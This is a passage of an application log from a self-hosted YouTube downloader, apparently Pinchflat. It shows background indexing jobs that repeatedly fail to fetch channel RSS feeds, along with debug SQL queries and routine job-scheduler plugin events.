04:02:38.810 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:02:38.912 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102015,"event":"job:exception","queue_time":925034,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:02:55.518 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.975 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:03:12.844 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865792844335999,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:03:12.844 [debug] QUERY OK source="sources" db=0.0ms idle=768.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:03:12.844 [debug] QUERY OK source="settings" db=0.0ms idle=768.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:03:12.844 [debug] QUERY OK source="media_profiles" db=0.0ms idle=768.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:03:12.844 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:03:12.844 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:03:12.946 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101451,"event":"job:exception","queue_time":931794,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:03:25.519 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:55.520 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.976 [info] {"source":"oban","duration":163,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:04:04.899 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865844899433985,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:04:04.899 [debug] QUERY OK source="sources" db=0.0ms idle=823.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:04:04.899 [debug] QUERY OK source="settings" db=0.0ms idle=823.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:04.899 [debug] QUERY OK source="media_profiles" db=0.0ms idle=823.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:04:04.900 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:04:04.900 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:04:05.002 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":102981,"event":"job:exception","queue_time":952765,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:04:25.521 [info] {"source":"oban","duration":469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:55.522 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.977 [info] {"source":"oban","duration":106,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:05:25.523 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:31.996 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784865931996400385,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:05:31.996 [debug] QUERY OK source="sources" db=0.1ms idle=1007.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:05:31.996 [debug] QUERY OK source="settings" db=0.1ms idle=920.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:31.997 [debug] QUERY OK source="media_profiles" db=0.0ms idle=920.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:05:31.997 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:05:31.997 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:05:32.098 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101736,"event":"job:exception","queue_time":993117,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:05:55.524 [info] {"source":"oban","duration":494,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.978 [info] {"source":"oban","duration":263,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:06:09.035 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784865969035397350,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:06:09.035 [debug] QUERY OK source="sources" db=0.1ms idle=1007.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:06:09.035 [debug] QUERY OK source="settings" db=0.0ms idle=959.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:09.035 [debug] QUERY OK source="media_profiles" db=0.0ms idle=960.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:06:09.036 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:06:09.036 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 04:06:09.140 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104182,"event":"job:exception","queue_time":467830,"attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:06:25.525 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:55.526 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.979 [info] {"source":"oban","duration":127,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:07:25.527 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:55.528 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.980 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:08:09.159 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784866089159324849,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:08:09.159 [debug] QUERY OK source="sources" db=0.0ms idle=83.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:08:09.159 [debug] QUERY OK source="settings" db=0.0ms idle=83.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:08:09.159 [debug] QUERY OK source="media_profiles" db=0.0ms idle=83.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:08:09.159 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:08:09.159 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:08:09.409 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249208,"event":"job:exception","queue_time":60480,"attempt":8,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:08:25.529 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:55.530 [info] {"source":"oban","duration":546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.980 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:09:25.531 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:55.532 [info] {"source":"oban","duration":446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.982 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:10:25.533 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:55.534 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.982 [info] {"source":"oban","duration":149,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:11:12.345 [info] {"args":{"id":2},"id":537,"meta":{},"system_time":1784866272345579057,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:11:12.346 [debug] QUERY OK source="sources" db=0.1ms idle=1269.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 04:11:12.346 [debug] QUERY OK source="settings" db=0.0ms idle=1008.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:12.346 [debug] QUERY OK source="media_profiles" db=0.1ms idle=270.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:11:12.346 [debug] QUERY OK source="settings" db=0.0ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:11:12.346 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 04:11:12.726 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":2},"id":537,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":238874,"event":"job:exception","queue_time":434395,"attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:11:25.535 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:55.536 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.984 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:12:25.537 [info] {"source":"oban","duration":518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:48.524 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784866368524751562,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:12:48.525 [debug] QUERY OK source="sources" db=0.1ms idle=1086.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:12:48.525 [debug] QUERY OK source="settings" db=0.0ms idle=449.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:48.525 [debug] QUERY OK source="media_profiles" db=0.0ms idle=449.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:12:48.525 [debug] QUERY OK source="settings" db=0.0ms idle=12.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:48.525 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 04:12:48.629 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":1},"id":538,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":104305,"event":"job:exception","queue_time":36058,"attempt":9,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:12:55.538 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.985 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:13:25.539 [info] {"source":"oban","duration":508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:55.540 [info] {"source":"oban","duration":502,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.985 [info] {"source":"oban","duration":99,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:14:25.541 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:55.542 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.987 [info] {"source":"oban","duration":271,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:15:25.543 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:55.544 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.987 [info] {"source":"oban","duration":120,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:16:25.545 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:55.546 [info] {"source":"oban","duration":473,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.989 [info] {"source":"oban","duration":583,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:17:25.547 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:55.548 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.989 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:18:25.550 [info] {"source":"oban","duration":523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:55.551 [info] {"source":"oban","duration":471,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.990 [info] {"source":"oban","duration":133,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:19:25.552 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:55.553 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.992 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:20:25.554 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:55.555 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.992 [info] {"source":"oban","duration":111,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:21:25.556 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:37.065 [info] {"args":{"id":1},"id":538,"meta":{},"system_time":1784866897065250505,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":10,"tags":["media_source","fast_indexing","show_in_dashboard"]} 04:21:37.065 [debug] QUERY OK source="sources" db=0.0ms idle=1989.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 04:21:37.065 [debug] QUERY OK source="settings" db=0.0ms idle=1989.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:21:37.065 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", 